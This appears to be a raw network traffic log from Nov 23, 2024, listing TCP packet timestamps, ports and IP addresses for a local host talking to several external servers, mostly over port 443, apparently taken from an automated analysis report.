Nov 23, 2024 02:55:28.678710938 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.678730965 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.678770065 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.678770065 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.686072111 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.686091900 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.686219931 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.686220884 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.686230898 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.686413050 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.694451094 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.694469929 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.694542885 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.694550037 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.694619894 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.702965021 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.702982903 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.703042030 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.703049898 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.703075886 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.703160048 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.710918903 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.710936069 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.710995913 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.711004972 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.711045980 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.711144924 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.719444036 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.719465017 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.719523907 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.719536066 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.719557047 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.719583035 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.726876974 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.726912022 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.726958990 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.726969004 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.727005005 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.727005005 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.751378059 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.751399994 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.751435995 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.751454115 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.751472950 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.751508951 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.755636930 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:28.755698919 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:28.755760908 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:28.789427996 CET	49786	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:28.789462090 CET	443	49786	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:28.834161043 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:28.834228992 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:28.834321976 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:28.879987001 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.880009890 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.880114079 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.880129099 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.880151033 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.882560968 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.887408972 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.887429953 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.887541056 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.887550116 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.887633085 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.890192986 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:28.890275955 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:28.890810966 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:28.895912886 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.895932913 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.896132946 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.896132946 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.896142960 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.898474932 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.904331923 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.904359102 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.904414892 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.904423952 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.904576063 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.904576063 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.912265062 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.912283897 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.912348032 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.912355900 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.912415028 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.912415028 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.920783043 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.920861006 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.920945883 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.920945883 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.920953989 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.922813892 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.928221941 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.928241014 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.928339005 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.928347111 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.928399086 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.949218035 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:28.949254036 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:28.949292898 CET	49787	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:28.949301958 CET	443	49787	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:28.951989889 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.952008963 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.952126980 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:28.952136040 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:28.952326059 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:29.077641010 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:29.077788115 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:29.077800035 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:29.077955961 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:29.077961922 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:29.078037024 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:29.083515882 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:29.083515882 CET	49789	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:29.083544016 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:29.083554029 CET	443	49789	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:29.102685928 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:29.102762938 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:29.565068007 CET	49793	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:29.565119028 CET	443	49793	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:29.565247059 CET	49793	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:29.569468021 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:29.569515944 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:29.569660902 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:29.570972919 CET	49793	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:29.570982933 CET	443	49793	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:29.572001934 CET	49795	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:29.572021008 CET	443	49795	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:29.572114944 CET	49795	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:29.572278976 CET	49795	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:29.572293043 CET	443	49795	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:29.572945118 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:29.572963953 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:29.595192909 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:29.597162962 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:29.597176075 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:29.601562977 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:29.601576090 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:29.670052052 CET	49796	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:29.670085907 CET	443	49796	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:29.670154095 CET	49796	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:29.670736074 CET	49796	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:29.670748949 CET	443	49796	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:29.719964981 CET	443	49792	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:29.844940901 CET	49792	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:29.844964981 CET	443	49792	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:29.845365047 CET	49792	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:29.845374107 CET	443	49792	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:30.030150890 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:30.030313969 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:30.030374050 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:30.068519115 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:30.068540096 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:30.068551064 CET	49791	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:30.068556070 CET	443	49791	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:30.089900970 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:30.089936972 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:30.090012074 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:30.166941881 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:30.166976929 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:30.175105095 CET	443	49792	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:30.175285101 CET	443	49792	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:30.175349951 CET	49792	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:30.178466082 CET	49792	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:30.178500891 CET	443	49792	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:30.178530931 CET	49792	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:30.178539038 CET	443	49792	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:30.302285910 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:30.302325964 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:30.302400112 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:30.327243090 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:30.327260971 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.293401003 CET	443	49795	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.294861078 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:31.295188904 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:31.305708885 CET	49795	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.305708885 CET	49795	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.305741072 CET	443	49795	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.305754900 CET	443	49795	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.415071011 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:31.415354967 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:31.415384054 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:31.415433884 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:31.415461063 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:31.416138887 CET	443	49793	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.417823076 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.435359955 CET	49793	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.435374022 CET	443	49793	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.436079979 CET	49793	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.436088085 CET	443	49793	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.436697006 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.436722040 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.437056065 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.437062979 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.660557032 CET	49805	443	192.168.2.6	94.245.104.56
Nov 23, 2024 02:55:31.660604000 CET	443	49805	94.245.104.56	192.168.2.6
Nov 23, 2024 02:55:31.660696030 CET	49805	443	192.168.2.6	94.245.104.56
Nov 23, 2024 02:55:31.660950899 CET	49805	443	192.168.2.6	94.245.104.56
Nov 23, 2024 02:55:31.660964966 CET	443	49805	94.245.104.56	192.168.2.6
Nov 23, 2024 02:55:31.782197952 CET	443	49795	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.782279015 CET	443	49795	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.782331944 CET	49795	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.892481089 CET	49795	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.892481089 CET	49795	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.892517090 CET	443	49795	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.892529964 CET	443	49795	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.912751913 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.912834883 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.912902117 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.913321972 CET	443	49793	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.913398981 CET	443	49793	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.913481951 CET	49793	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.925721884 CET	443	49796	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:31.925832987 CET	49796	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:31.932224989 CET	49796	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:31.932241917 CET	443	49796	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:31.932511091 CET	443	49796	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:31.933938026 CET	49796	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:31.934032917 CET	49796	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:31.934045076 CET	443	49796	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:31.934169054 CET	49796	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:31.934705019 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.934739113 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.934760094 CET	49794	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.934768915 CET	443	49794	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.937241077 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.937284946 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.937359095 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.938623905 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.938641071 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.938957930 CET	49793	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.938987017 CET	443	49793	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.939032078 CET	49793	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.939039946 CET	443	49793	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.946531057 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:31.946660042 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:31.946719885 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:31.950731993 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:31.950855017 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:31.950923920 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:31.951384068 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.959193945 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:31.959362030 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:31.959419966 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:31.967581987 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:31.967701912 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:31.967750072 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:31.968113899 CET	49807	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.968175888 CET	443	49807	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:31.968233109 CET	49807	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:31.975337982 CET	443	49796	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:31.976104021 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:32.031954050 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.031968117 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.032438993 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.032444000 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.042005062 CET	49807	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.042038918 CET	443	49807	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.045500994 CET	49808	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.045595884 CET	443	49808	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.045671940 CET	49808	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.045831919 CET	49808	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.045870066 CET	443	49808	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.055459023 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:32.122030020 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.126086950 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.126106024 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.126754999 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.126760960 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.394347906 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.394536972 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.394706011 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.482355118 CET	443	49796	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:32.482562065 CET	443	49796	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:32.482661963 CET	49796	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:32.542542934 CET	49796	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:32.542551994 CET	443	49796	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:32.565618038 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.565713882 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.565782070 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.618199110 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.618226051 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.618236065 CET	49797	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.618242979 CET	443	49797	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.621397972 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.621436119 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.621453047 CET	49798	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.621462107 CET	443	49798	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.622237921 CET	49809	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.622257948 CET	443	49809	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.622358084 CET	49809	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.625072956 CET	49809	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.625085115 CET	443	49809	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.625497103 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.625605106 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.625778913 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.626101971 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:32.626151085 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:32.783158064 CET	80	49780	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:32.783308983 CET	49780	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:33.390970945 CET	49780	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:33.391218901 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:33.459722996 CET	443	49805	94.245.104.56	192.168.2.6
Nov 23, 2024 02:55:33.460427046 CET	49805	443	192.168.2.6	94.245.104.56
Nov 23, 2024 02:55:33.460433960 CET	443	49805	94.245.104.56	192.168.2.6
Nov 23, 2024 02:55:33.462330103 CET	443	49805	94.245.104.56	192.168.2.6
Nov 23, 2024 02:55:33.462424040 CET	49805	443	192.168.2.6	94.245.104.56
Nov 23, 2024 02:55:33.463545084 CET	49805	443	192.168.2.6	94.245.104.56
Nov 23, 2024 02:55:33.463625908 CET	443	49805	94.245.104.56	192.168.2.6
Nov 23, 2024 02:55:33.463706970 CET	49805	443	192.168.2.6	94.245.104.56
Nov 23, 2024 02:55:33.510467052 CET	80	49780	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:33.510709047 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:33.510787964 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:33.510998964 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:33.511240959 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:33.511344910 CET	443	49805	94.245.104.56	192.168.2.6
Nov 23, 2024 02:55:33.540678024 CET	49777	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:33.540705919 CET	443	49777	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:33.548068047 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:33.548103094 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:33.548275948 CET	49790	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:33.548285007 CET	443	49790	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:33.613672018 CET	49805	443	192.168.2.6	94.245.104.56
Nov 23, 2024 02:55:33.613679886 CET	443	49805	94.245.104.56	192.168.2.6
Nov 23, 2024 02:55:33.618989944 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:33.620137930 CET	49781	443	192.168.2.6	150.171.27.10
Nov 23, 2024 02:55:33.620146990 CET	443	49781	150.171.27.10	192.168.2.6
Nov 23, 2024 02:55:33.631463051 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:33.631958008 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:33.631988049 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:33.632020950 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:33.654773951 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:33.655541897 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:33.655566931 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:33.656192064 CET	49806	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:33.656197071 CET	443	49806	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:33.723020077 CET	49805	443	192.168.2.6	94.245.104.56
Nov 23, 2024 02:55:33.758235931 CET	443	49808	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:33.760293007 CET	49808	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:33.760370016 CET	443	49808	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:33.760868073 CET	49808	443	192.168.2.6	13.107.246.63
